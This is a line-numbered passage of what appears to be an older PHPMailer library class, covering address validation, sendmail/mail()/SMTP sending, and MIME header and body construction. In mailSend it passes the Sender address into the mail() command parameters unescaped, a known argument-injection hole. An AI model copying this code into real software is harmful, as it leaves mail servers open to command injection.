  969. '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  970. '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  971. '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  972. '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  973. '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  974. '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  975. '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  976. '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  977. '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  978. $address
  979. );
  980. case 'html5':
  981. return (boolean)preg_match(
  982. '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  983. '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  984. $address
  985. );
  986. case 'noregex':
  987. return (strlen($address) >= 3
  988. and strpos($address, '@') >= 1
  989. and strpos($address, '@') != strlen($address) - 1);
  990. case 'php':
  991. default:
  992. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  993. }
  994. }
  995. public function send()
  996. {
  997. try {
  998. if (!$this->preSend()) {
  999. return false;
  1000. }
  1001. return $this->postSend();
  1002. } catch (phpmailerException $exc) {
  1003. $this->mailHeader = '';
  1004. $this->setError($exc->getMessage());
  1005. if ($this->exceptions) {
  1006. throw $exc;
  1007. }
  1008. return false;
  1009. }
  1010. }
  1011. public function preSend()
  1012. {
  1013. try {
  1014. $this->mailHeader = '';
  1015. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1016. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1017. }
  1018. // Set whether the message is multipart/alternative
  1019. if (!empty($this->AltBody)) {
  1020. $this->ContentType = 'multipart/alternative';
  1021. }
  1022. $this->error_count = 0; // reset errors
  1023. $this->setMessageType();
  1024. // Refuse to send an empty message unless we are specifically allowing it
  1025. if (!$this->AllowEmpty and empty($this->Body)) {
  1026. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1027. }
  1028. $this->MIMEHeader = $this->createHeader();
  1029. $this->MIMEBody = $this->createBody();
  1030. if ($this->Mailer == 'mail') {
  1031. if (count($this->to) > 0) {
  1032. $this->mailHeader .= $this->addrAppend('To', $this->to);
  1033. } else {
  1034. $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1035. }
  1036. $this->mailHeader .= $this->headerLine(
  1037. 'Subject',
  1038. $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1039. );
  1040. }
  1041. // Sign with DKIM if enabled
  1042. if (!empty($this->DKIM_domain)
  1043. && !empty($this->DKIM_private)
  1044. && !empty($this->DKIM_selector)
  1045. && file_exists($this->DKIM_private)) {
  1046. $header_dkim = $this->DKIM_Add(
  1047. $this->MIMEHeader . $this->mailHeader,
  1048. $this->encodeHeader($this->secureHeader($this->Subject)),
  1049. $this->MIMEBody
  1050. );
  1051. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1052. str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1053. }
  1054. return true;
  1055. } catch (phpmailerException $exc) {
  1056. $this->setError($exc->getMessage());
  1057. if ($this->exceptions) {
  1058. throw $exc;
  1059. }
  1060. return false;
  1061. }
  1062. }
  1063. public function postSend()
  1064. {
  1065. try {
  1066. // Choose the mailer and send through it
  1067. switch ($this->Mailer) {
  1068. case 'sendmail':
  1069. case 'qmail':
  1070. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1071. case 'mail':
  1072. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1073. case 'smtp':
  1074. return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
  1075. default:
  1076. $sendMethod = $this->Mailer.'Send';
  1077. if (method_exists($this, $sendMethod)) {
  1078. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1079. }
  1080. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1081. }
  1082. } catch (phpmailerException $exc) {
  1083. $this->setError($exc->getMessage());
  1084. $this->edebug($exc->getMessage());
  1085. if ($this->exceptions) {
  1086. throw $exc;
  1087. }
  1088. }
  1089. return false;
  1090. }
  1091. protected function sendmailSend($header, $body)
  1092. {
  1093. if ($this->Sender != '') {
  1094. if ($this->Mailer == 'qmail') {
  1095. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1096. } else {
  1097. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1098. }
  1099. } else {
  1100. if ($this->Mailer == 'qmail') {
  1101. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1102. } else {
  1103. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1104. }
  1105. }
  1106. if ($this->SingleTo) {
  1107. foreach ($this->SingleToArray as $toAddr) {
  1108. if (!@$mail = popen($sendmail, 'w')) {
  1109. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1110. }
  1111. fputs($mail, 'To: ' . $toAddr . "\n");
  1112. fputs($mail, $header);
  1113. fputs($mail, $body);
  1114. $result = pclose($mail);
  1115. $this->doCallback(
  1116. ($result == 0),
  1117. array($toAddr),
  1118. $this->cc,
  1119. $this->bcc,
  1120. $this->Subject,
  1121. $body,
  1122. $this->From
  1123. );
  1124. if ($result != 0) {
  1125. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1126. }
  1127. }
  1128. } else {
  1129. if (!@$mail = popen($sendmail, 'w')) {
  1130. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1131. }
  1132. fputs($mail, $header);
  1133. fputs($mail, $body);
  1134. $result = pclose($mail);
  1135. $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1136. if ($result != 0) {
  1137. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1138. }
  1139. }
  1140. return true;
  1141. }
  1142. protected function mailSend($header, $body)
  1143. {
  1144. $toArr = array();
  1145. foreach ($this->to as $toaddr) {
  1146. $toArr[] = $this->addrFormat($toaddr);
  1147. }
  1148. $to = implode(', ', $toArr);
  1149. if (empty($this->Sender)) {
  1150. $params = ' ';
  1151. } else {
  1152. $params = sprintf('-f%s', $this->Sender);
  1153. }
  1154. if ($this->Sender != '' and !ini_get('safe_mode')) {
  1155. $old_from = ini_get('sendmail_from');
  1156. ini_set('sendmail_from', $this->Sender);
  1157. }
  1158. $result = false;
  1159. if ($this->SingleTo && count($toArr) > 1) {
  1160. foreach ($toArr as $toAddr) {
  1161. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1162. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1163. }
  1164. } else {
  1165. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1166. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1167. }
  1168. if (isset($old_from)) {
  1169. ini_set('sendmail_from', $old_from);
  1170. }
  1171. if (!$result) {
  1172. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1173. }
  1174. return true;
  1175. }
  1176. public function getSMTPInstance()
  1177. {
  1178. if (!is_object($this->smtp)) {
  1179. $this->smtp = new SMTP;
  1180. }
  1181. return $this->smtp;
  1182. }
  1183. protected function smtpSend($header, $body)
  1184. {
  1185. $bad_rcpt = array();
  1186. if (!$this->smtpConnect($this->SMTPOptions)) {
  1187. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1188. }
  1189. if ('' == $this->Sender) {
  1190. $smtp_from = $this->From;
  1191. } else {
  1192. $smtp_from = $this->Sender;
  1193. }
  1194. if (!$this->smtp->mail($smtp_from)) {
  1195. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1196. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1197. }
  1198. foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1199. foreach ($togroup as $to) {
  1200. if (!$this->smtp->recipient($to[0])) {
  1201. $error = $this->smtp->getError();
  1202. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1203. $isSent = false;
  1204. } else {
  1205. $isSent = true;
  1206. }
  1207. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1208. }
  1209. }
  1210. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1211. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1212. }
  1213. if ($this->SMTPKeepAlive) {
  1214. $this->smtp->reset();
  1215. } else {
  1216. $this->smtp->quit();
  1217. $this->smtp->close();
  1218. }
  1219. if (count($bad_rcpt) > 0) {
  1220. $errstr = '';
  1221. foreach ($bad_rcpt as $bad) {
  1222. $errstr .= $bad['to'] . ': ' . $bad['error'];
  1223. }
  1224. throw new phpmailerException(
  1225. $this->lang('recipients_failed') . $errstr,
  1226. self::STOP_CONTINUE
  1227. );
  1228. }
  1229. return true;
  1230. }
  1231. public function smtpConnect($options = array())
  1232. {
  1233. if (is_null($this->smtp)) {
  1234. $this->smtp = $this->getSMTPInstance();
  1235. }
  1236. if ($this->smtp->connected()) {
  1237. return true;
  1238. }
  1239. $this->smtp->setTimeout($this->Timeout);
  1240. $this->smtp->setDebugLevel($this->SMTPDebug);
  1241. $this->smtp->setDebugOutput($this->Debugoutput);
  1242. $this->smtp->setVerp($this->do_verp);
  1243. $hosts = explode(';', $this->Host);
  1244. $lastexception = null;
  1245. foreach ($hosts as $hostentry) {
  1246. $hostinfo = array();
  1247. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1248. continue;
  1249. }
  1250. $prefix = '';
  1251. $secure = $this->SMTPSecure;
  1252. $tls = ($this->SMTPSecure == 'tls');
  1253. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1254. $prefix = 'ssl://';
  1255. $tls = false; // Can't have SSL and TLS at the same time
  1256. $secure = 'ssl';
  1257. } elseif ($hostinfo[2] == 'tls') {
  1258. $tls = true;
  1259. $secure = 'tls';
  1260. }
  1261. $sslext = defined('OPENSSL_ALGO_SHA1');
  1262. if ('tls' === $secure or 'ssl' === $secure) {
  1263. if (!$sslext) {
  1264. throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1265. }
  1266. }
  1267. $host = $hostinfo[3];
  1268. $port = $this->Port;
  1269. $tport = (integer)$hostinfo[4];
  1270. if ($tport > 0 and $tport < 65536) {
  1271. $port = $tport;
  1272. }
  1273. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1274. try {
  1275. if ($this->Helo) {
  1276. $hello = $this->Helo;
  1277. } else {
  1278. $hello = $this->serverHostname();
  1279. }
  1280. $this->smtp->hello($hello);
  1281. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1282. $tls = true;
  1283. }
  1284. if ($tls) {
  1285. if (!$this->smtp->startTLS()) {
  1286. throw new phpmailerException($this->lang('connect_host'));
  1287. }
  1288. $this->smtp->hello($hello);
  1289. }
  1290. if ($this->SMTPAuth) {
  1291. if (!$this->smtp->authenticate(
  1292. $this->Username,
  1293. $this->Password,
  1294. $this->AuthType,
  1295. $this->Realm,
  1296. $this->Workstation
  1297. )
  1298. ) {
  1299. throw new phpmailerException($this->lang('authenticate'));
  1300. }
  1301. }
  1302. return true;
  1303. } catch (phpmailerException $exc) {
  1304. $lastexception = $exc;
  1305. $this->edebug($exc->getMessage());
  1306. $this->smtp->quit();
  1307. }
  1308. }
  1309. }
  1310. $this->smtp->close();
  1311. if ($this->exceptions and !is_null($lastexception)) {
  1312. throw $lastexception;
  1313. }
  1314. return false;
  1315. }
  1316. public function smtpClose()
  1317. {
  1318. if ($this->smtp !== null) {
  1319. if ($this->smtp->connected()) {
  1320. $this->smtp->quit();
  1321. $this->smtp->close();
  1322. }
  1323. }
  1324. }
  1325.  
  1326. public function setLanguage($langcode = 'en', $lang_path = '')
  1327. {
  1328. // Define full set of translatable strings in English
  1329. $PHPMAILER_LANG = array(
  1330. 'authenticate' => 'SMTP Error: Could not authenticate.',
  1331. 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1332. 'data_not_accepted' => 'SMTP Error: data not accepted.',
  1333. 'empty_message' => 'Message body empty',
  1334. 'encoding' => 'Unknown encoding: ',
  1335. 'execute' => 'Could not execute: ',
  1336. 'file_access' => 'Could not access file: ',
  1337. 'file_open' => 'File Error: Could not open file: ',
  1338. 'from_failed' => 'The following From address failed: ',
  1339. 'instantiate' => 'Could not instantiate mail function.',
  1340. 'invalid_address' => 'Invalid address',
  1341. 'mailer_not_supported' => ' mailer is not supported.',
  1342. 'provide_address' => 'You must provide at least one recipient email address.',
  1343. 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1344. 'signing' => 'Signing Error: ',
  1345. 'smtp_connect_failed' => 'SMTP connect() failed.',
  1346. 'smtp_error' => 'SMTP server error: ',
  1347. 'variable_set' => 'Cannot set or reset variable: '
  1348. );
  1349. if (empty($lang_path)) {
  1350. // Calculate an absolute path so it can work if CWD is not here
  1351. $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1352. }
  1353. $foundlang = true;
  1354. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1355. if ($langcode != 'en') { // There is no English translation file
  1356. // Make sure language file path is readable
  1357. if (!is_readable($lang_file)) {
  1358. $foundlang = false;
  1359. } else {
  1360. $foundlang = include $lang_file;
  1361. }
  1362. }
  1363. $this->language = $PHPMAILER_LANG;
  1364. return (boolean)$foundlang; // Returns false if language not found
  1365. }
  1366. public function getTranslations()
  1367. {
  1368. return $this->language;
  1369. }
  1370. public function addrAppend($type, $addr)
  1371. {
  1372. $addresses = array();
  1373. foreach ($addr as $address) {
  1374. $addresses[] = $this->addrFormat($address);
  1375. }
  1376. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1377. }
  1378.  
  1379. public function addrFormat($addr)
  1380. {
  1381. if (empty($addr[1])) { // No name provided
  1382. return $this->secureHeader($addr[0]);
  1383. } else {
  1384. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1385. $addr[0]
  1386. ) . '>';
  1387. }
  1388. }
  1389.  
  1390. public function wrapText($message, $length, $qp_mode = false)
  1391. {
  1392. $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
  1393. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1394. $lelen = strlen($this->LE);
  1395. $crlflen = strlen(self::CRLF);
  1396. $message = $this->fixEOL($message);
  1397. if (substr($message, -$lelen) == $this->LE) {
  1398. $message = substr($message, 0, -$lelen);
  1399. }
  1400. $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
  1401. $message = '';
  1402. for ($i = 0; $i < count($line); $i++) {
  1403. $line_part = explode(' ', $line[$i]);
  1404. $buf = '';
  1405. for ($e = 0; $e < count($line_part); $e++) {
  1406. $word = $line_part[$e];
  1407. if ($qp_mode and (strlen($word) > $length)) {
  1408. $space_left = $length - strlen($buf) - $crlflen;
  1409. if ($e != 0) {
  1410. if ($space_left > 20) {
  1411. $len = $space_left;
  1412. if ($is_utf8) {
  1413. $len = $this->utf8CharBoundary($word, $len);
  1414. } elseif (substr($word, $len - 1, 1) == '=') {
  1415. $len--;
  1416. } elseif (substr($word, $len - 2, 1) == '=') {
  1417. $len -= 2;
  1418. }
  1419. $part = substr($word, 0, $len);
  1420. $word = substr($word, $len);
  1421. $buf .= ' ' . $part;
  1422. $message .= $buf . sprintf('=%s', self::CRLF);
  1423. } else {
  1424. $message .= $buf . $soft_break;
  1425. }
  1426. $buf = '';
  1427. }
  1428. while (strlen($word) > 0) {
  1429. if ($length <= 0) {
  1430. break;
  1431. }
  1432. $len = $length;
  1433. if ($is_utf8) {
  1434. $len = $this->utf8CharBoundary($word, $len);
  1435. } elseif (substr($word, $len - 1, 1) == '=') {
  1436. $len--;
  1437. } elseif (substr($word, $len - 2, 1) == '=') {
  1438. $len -= 2;
  1439. }
  1440. $part = substr($word, 0, $len);
  1441. $word = substr($word, $len);
  1442. if (strlen($word) > 0) {
  1443. $message .= $part . sprintf('=%s', self::CRLF);
  1444. } else {
  1445. $buf = $part;
  1446. }
  1447. }
  1448. } else {
  1449. $buf_o = $buf;
  1450. $buf .= ($e == 0) ? $word : (' ' . $word);
  1451. if (strlen($buf) > $length and $buf_o != '') {
  1452. $message .= $buf_o . $soft_break;
  1453. $buf = $word;
  1454. }
  1455. }
  1456. }
  1457. $message .= $buf . self::CRLF;
  1458. }
  1459. return $message;
  1460. }
  1461. public function utf8CharBoundary($encodedText, $maxLength)
  1462. {
  1463. $foundSplitPos = false;
  1464. $lookBack = 3;
  1465. while (!$foundSplitPos) {
  1466. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1467. $encodedCharPos = strpos($lastChunk, '=');
  1468. if (false !== $encodedCharPos) {
  1469. // Found start of encoded character byte within $lookBack block.
  1470. // Check the encoded byte value (the 2 chars after the '=')
  1471. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1472. $dec = hexdec($hex);
  1473. if ($dec < 128) { // Single byte character.
  1474. // If the encoded char was found at pos 0, it will fit
  1475. // otherwise reduce maxLength to start of the encoded char
  1476. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  1477. $maxLength - ($lookBack - $encodedCharPos);
  1478. $foundSplitPos = true;
  1479. } elseif ($dec >= 192) { // First byte of a multi byte character
  1480. // Reduce maxLength to split at start of character
  1481. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1482. $foundSplitPos = true;
  1483. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  1484. $lookBack += 3;
  1485. }
  1486. } else {
  1487. // No encoded character found
  1488. $foundSplitPos = true;
  1489. }
  1490. }
  1491. return $maxLength;
  1492. }
  1493. public function setWordWrap()
  1494. {
  1495. if ($this->WordWrap < 1) {
  1496. return;
  1497. }
  1498. switch ($this->message_type) {
  1499. case 'alt':
  1500. case 'alt_inline':
  1501. case 'alt_attach':
  1502. case 'alt_inline_attach':
  1503. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1504. break;
  1505. default:
  1506. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1507. break;
  1508. }
  1509. }
  1510. public function createHeader()
  1511. {
  1512. $result = '';
  1513. // Set the boundaries
  1514. $uniq_id = md5(uniqid(time()));
  1515. $this->boundary[1] = 'b1_' . $uniq_id;
  1516. $this->boundary[2] = 'b2_' . $uniq_id;
  1517. $this->boundary[3] = 'b3_' . $uniq_id;
  1518. if ($this->MessageDate == '') {
  1519. $this->MessageDate = self::rfcDate();
  1520. }
  1521. $result .= $this->headerLine('Date', $this->MessageDate);
  1522.  
  1523. // To be created automatically by mail()
  1524. if ($this->SingleTo) {
  1525. if ($this->Mailer != 'mail') {
  1526. foreach ($this->to as $toaddr) {
  1527. $this->SingleToArray[] = $this->addrFormat($toaddr);
  1528. }
  1529. }
  1530. } else {
  1531. if (count($this->to) > 0) {
  1532. if ($this->Mailer != 'mail') {
  1533. $result .= $this->addrAppend('To', $this->to);
  1534. }
  1535. } elseif (count($this->cc) == 0) {
  1536. $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  1537. }
  1538. }
  1539. $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  1540. // sendmail and mail() extract Cc from the header before sending
  1541. if (count($this->cc) > 0) {
  1542. $result .= $this->addrAppend('Cc', $this->cc);
  1543. }
  1544. // sendmail and mail() extract Bcc from the header before sending
  1545. if ((
  1546. $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  1547. )
  1548. and count($this->bcc) > 0
  1549. ) {
  1550. $result .= $this->addrAppend('Bcc', $this->bcc);
  1551. }
  1552. if (count($this->ReplyTo) > 0) {
  1553. $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  1554. }
  1555. // mail() sets the subject itself
  1556. if ($this->Mailer != 'mail') {
  1557. $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  1558. }
  1559. if ($this->MessageID != '') {
  1560. $this->lastMessageID = $this->MessageID;
  1561. } else {
  1562. $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
  1563. }
  1564. $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
  1565. $result .= $this->headerLine('X-Priority', $this->Priority);
  1566. if ($this->XMailer == '') {
  1567. } else {
  1568. $myXmailer = trim($this->XMailer);
  1569. if ($myXmailer) {
  1570. $result .= $this->headerLine('X-Mailer', $myXmailer);
  1571. }
  1572. }
  1573. if ($this->ConfirmReadingTo != '') {
  1574. $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  1575. }
  1576. // Add custom headers
  1577. for ($index = 0; $index < count($this->CustomHeader); $index++) {
  1578. $result .= $this->headerLine(
  1579. trim($this->CustomHeader[$index][0]),
  1580. $this->encodeHeader(trim($this->CustomHeader[$index][1]))
  1581. );
  1582. }
  1583. if (!$this->sign_key_file) {
  1584. $result .= $this->headerLine('MIME-Version', '1.0');
  1585. $result .= $this->getMailMIME();
  1586. }
  1587. return $result;
  1588. }
  1589. public function getMailMIME()
  1590. {
  1591. $result = '';
  1592. $ismultipart = true;
  1593. switch ($this->message_type) {
  1594. case 'inline':
  1595. $result .= $this->headerLine('Content-Type', 'multipart/related;');
  1596. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1597. break;
  1598. case 'attach':
  1599. case 'inline_attach':
  1600. case 'alt_attach':
  1601. case 'alt_inline_attach':
  1602. $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  1603. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1604. break;
  1605. case 'alt':
  1606. case 'alt_inline':
  1607. $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1608. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1609. break;
  1610. default:
  1611. // Catches case 'plain': and case '':
  1612. $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  1613. $ismultipart = false;
  1614. break;
  1615. }
  1616. // RFC1341 part 5 says 7bit is assumed if not specified
  1617. if ($this->Encoding != '7bit') {
  1618. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  1619. if ($ismultipart) {
  1620. if ($this->Encoding == '8bit') {
  1621. $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  1622. }
  1623. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  1624. } else {
  1625. $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  1626. }
  1627. }
  1628. if ($this->Mailer != 'mail') {
  1629. $result .= $this->LE;
  1630. }
  1631. return $result;
  1632. }
  1633. public function getSentMIMEMessage()
  1634. {
  1635. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  1636. }
  1637.  
  1638. public function createBody()
  1639. {
  1640. $body = '';
  1641. if ($this->sign_key_file) {
  1642. $body .= $this->getMailMIME() . $this->LE;
  1643. }
  1644. $this->setWordWrap();
  1645. $bodyEncoding = $this->Encoding;
  1646. $bodyCharSet = $this->CharSet;
  1647. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  1648. $bodyEncoding = '7bit';
  1649. $bodyCharSet = 'us-ascii';
  1650. }
  1651. $altBodyEncoding = $this->Encoding;
  1652. $altBodyCharSet = $this->CharSet;
  1653. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  1654. $altBodyEncoding = '7bit';
  1655. $altBodyCharSet = 'us-ascii';
  1656. }
  1657. switch ($this->message_type) {
  1658. case 'inline':
  1659. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1660. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1661. $body .= $this->LE . $this->LE;
  1662. $body .= $this->attachAll('inline', $this->boundary[1]);
  1663. break;
  1664. case 'attach':
  1665. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1666. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1667. $body .= $this->LE . $this->LE;
  1668. $body .= $this->attachAll('attachment', $this->boundary[1]);
  1669. break;
  1670. case 'inline_attach':
  1671. $body .= $this->textLine('--' . $this->boundary[1]);
  1672. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1673. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1674. $body .= $this->LE;
  1675. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  1676. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1677. $body .= $this->LE . $this->LE;
  1678. $body .= $this->attachAll('inline', $this->boundary[2]);
  1679. $body .= $this->LE;
  1680. $body .= $this->attachAll('attachment', $this->boundary[1]);
  1681. break;
  1682. case 'alt':
  1683. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1684. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1685. $body .= $this->LE . $this->LE;
  1686. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  1687. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1688. $body .= $this->LE . $this->LE;
  1689. if (!empty($this->Ical)) {
  1690. $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  1691. $body .= $this->encodeString($this->Ical, $this->Encoding);
  1692. $body .= $this->LE . $this->LE;
  1693. }
  1694. $body .= $this->endBoundary($this->boundary[1]);
  1695. break;
  1696. case 'alt_inline':
  1697. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1698. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1699. $body .= $this->LE . $this->LE;
  1700. $body .= $this->textLine('--' . $this->boundary[1]);
  1701. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1702. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1703. $body .= $this->LE;
  1704. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1705. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1706. $body .= $this->LE . $this->LE;
  1707. $body .= $this->attachAll('inline', $this->boundary[2]);
  1708. $body .= $this->LE;
  1709. $body .= $this->endBoundary($this->boundary[1]);
  1710. break;
  1711. case 'alt_attach':
  1712. $body .= $this->textLine('--' . $this->boundary[1]);
  1713. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1714. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1715. $body .= $this->LE;
  1716. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1717. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1718. $body .= $this->LE . $this->LE;
  1719. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1720. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1721. $body .= $this->LE . $this->LE;
  1722. $body .= $this->endBoundary($this->boundary[2]);
  1723. $body .= $this->LE;
  1724. $body .= $this->attachAll('attachment', $this->boundary[1]);
  1725. break;
  1726. case 'alt_inline_attach':
  1727. $body .= $this->textLine('--' . $this->boundary[1]);
  1728. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1729. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1730. $body .= $this->LE;
  1731. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1732. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1733. $body .= $this->LE . $this->LE;
  1734. $body .= $this->textLine('--' . $this->boundary[2]);
  1735. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1736. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  1737. $body .= $this->LE;
